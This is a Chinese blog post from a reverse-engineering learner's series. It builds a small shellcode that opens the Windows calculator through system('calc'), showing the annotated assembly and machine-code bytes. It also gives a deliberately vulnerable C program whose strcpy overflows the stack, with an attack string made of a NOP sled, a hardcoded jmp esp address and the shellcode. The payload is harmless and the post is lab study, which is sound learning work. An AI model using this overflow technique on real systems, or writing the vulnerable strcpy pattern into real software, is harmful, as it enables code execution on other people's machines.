码迷,mamicode.com
首页 > 系统相关 > 详细

逆向工程学习第三天--另外一个ShellCode

时间:2015-09-28 13:06:19      阅读:244      评论:0      收藏:0      [点我收藏+]

标签:

  上周自己打造的添加用户的shellcode太长,不过当时主要目的是为了锻炼手动asm,熟悉一些复杂的参数类型如何手动进行构造,然后通过堆栈传递。

接下来就打造一个弹计算器的shellcode来进行接下来的学习和测试。

弹计算器的C代码只有一句:

C代码:

  

system(“calc”);

 

ASM代码:

  004030B4    8BEC            mov     ebp, esp  //把栈底抬高,准备放参数

  004030B6    33FF            xor     edi, edi  //把edi清零,准备0,这样可以防止代码中出现00,避免字符类的复制中shellcode会被截断。

  004030B8    57              push    edi  //开辟0填充的栈空间,用来存放字符。

  004030B9    57              push    edi  //开辟0填充的栈空间,用来存放字符。

  004030BA    C645 FB 63      mov     byte ptr [ebp-5], 63  //字符“c”入栈。

  004030BE    C645 FC 61      mov     byte ptr [ebp-4], 61  //字符“a”入栈。

  004030C2    C645 FD 6C      mov     byte ptr [ebp-3], 6C  //字符“l”入栈。

  004030C6    C645 FE 63      mov     byte ptr [ebp-2], 63  //字符“c”入栈。

  004030CA    8D45 FB         lea     eax, dword ptr [ebp-5]  //取得字符串地址放入eax。

  004030CD    50              push    eax  //参数“calc”入栈

  004030CE    B8 C793BF77     mov     eax, msvcrt.system  //取得system函数地址msvcrt.dll是系统默认加载,所以不用loadlibrary。

  004030D3    FFD0            call    eax  //调用system函数启动计算器。

 

机器码:

0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0

 

测试:

  漏洞程序:

#include "stdafx.h"
#include<stdio.h>
#include<string.h>
char ShellCode[] ={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x12,0x45,0xFA,0x7F,0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0};
void overflow();
int main()
{
  overflow();
  printf("fuction returned");
  return 0;
}
void overflow()
{
  char output[8];
  strcpy(output, ShellCode);
  printf("output is %s",output);
}

 

漏洞程序是一个典型的栈BOF漏洞,在关闭其他BOF保护措施的情况下,我们采用经典的覆盖返回地址来测试,攻击字符串布局:

0x90填充

Jmp esp地址(0x7FFA4512)

Shellcode

  1. 运行时堆栈:

 技术分享

  2.  成功弹出计算器:

 技术分享

逆向工程学习第三天--另外一个ShellCode

标签:

原文地址:http://www.cnblogs.com/rebeyond/p/4843620.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!